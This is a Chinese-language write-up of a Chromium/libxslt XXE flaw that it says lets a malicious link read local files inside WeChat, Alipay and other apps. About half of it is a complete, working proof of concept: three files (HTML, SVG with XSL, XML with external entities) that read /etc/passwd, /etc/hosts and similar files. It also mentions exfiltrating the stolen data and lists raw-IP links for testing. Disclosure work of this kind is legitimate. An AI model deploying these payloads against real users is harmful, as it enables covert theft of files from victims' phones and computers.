微信、支付宝、小米浏览器、携程应用等国内主流软件均存在任意文件读取漏洞。此漏洞源于谷歌浏览器内核漏洞,而国内很多app,包括苹果内置浏览器均为谷歌浏览器,故影响全系列产品。
Google Chrome是一款由Google(谷歌)公司开发的网页浏览器。该浏览器基于开源内核(如WebKit)编写,目标是提升稳定性、速度和安全性,并创造出简单且有效率的使用者界面。
WebKit默认使用的xsl库(Libxslt),调用document()加载的文档里面包含对外部实体的引用。
攻击者可以创建并托管包含XSL样式表的SVG图像和包含外部实体引用的文档。
当受害者访问SVG图像链接时,浏览器会解析XSL样式表,调用document() 加载包含外部实体引用的文档,读取受害者机器的任意文件。
Chrome 版本 < 116.0.5845.96Chromium 版本 < 116.0.5845.96Electron 版本 < 26.1.0
国内影响:
使用谷歌浏览器内核的应用基本都受影响,如:手机微信,支付宝,抖音,携程,小米(自带浏览器),UC浏览器,via浏览器,夸克浏览等等(这些都是11月19日晚测过的)
以安卓版微信,读取手机/etc/hosts文件为例:
当前我微信版本为最新版8.0.43
构造三个文件并部署在服务器上
c.html
<body><div id="r"></div><script>const ifr = document.createElement('iframe');ifr.style.display = 'none';document.body.appendChild(ifr);ifr.onload = function() {const ifrContent = ifr.contentWindow.document.documentElement.innerHTML;r.innerHTML = `current url:<br />${location.href}<br /><br />get data:<br />${ifrContent}`;}ifr.src = "./c2.svg";var data = `current url:<br />${location.href}<br /><br />get data:<br />${ifrContent}`;alert(data);</script></body>
c2.svg
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="?#"?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/"><svg width="1000%" height="1000%" version="1.1" xmlns="http://www.w3.org/2000/svg"><foreignObject class="node" font-size="18" width="100%" height="100%"><body xmlns="http://www.w3.org/1999/xhtml"><xmp><xsl:copy-of select="document('./c3.xml')"/></xmp></body></foreignObject></svg></xsl:template></xsl:stylesheet>
c3.xml
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xml" href="?#"?><!DOCTYPE p [<!ENTITY passwd SYSTEM "file:///etc/passwd"><!ENTITY hosts SYSTEM "file:///etc/hosts"><!ENTITY group SYSTEM "file://localhost/etc/group"><!ENTITY sysini SYSTEM "file:///c:/windows/system.ini">]><p><p style="border-style: dotted;">/etc/passwd:&passwd;</p><p style="border-style: dotted;" id="hosts">/etc/hosts:&hosts;</p><p style="border-style: dotted;">/etc/group:&group;</p><p style="border-style: dotted;">c:/windows/system.ini:&sysini;</p></p>
创建好三个文件后,上传至服务器上部署
将构造好的链接通过会话框发给任意好友,我这里演示发给文件传输助手
然后点击这个链接,返回如下则漏洞存在
如果知道其他文件存储的位置,一样可以读取。
当然除了本地显示,攻击者是可以将读取的文件是外带出去
解密外带的数据
除了微信还有其他厂商应用存在此漏洞,如:
小米浏览器
夸克浏览器
支付宝:
携程
实在太多了,不在一一列举。
由于此漏洞影响国内众多大厂商应用,且未修复,故不提供漏洞利用代码。
可通过以下链接来检测你的应用是否存在此漏洞
http://188.68.220.248/js.svg (国外)http://43.143.230.199/c.html (国内)
1、升级应用内置浏览器版本;
2、用户不要点击陌生链接,防止被攻击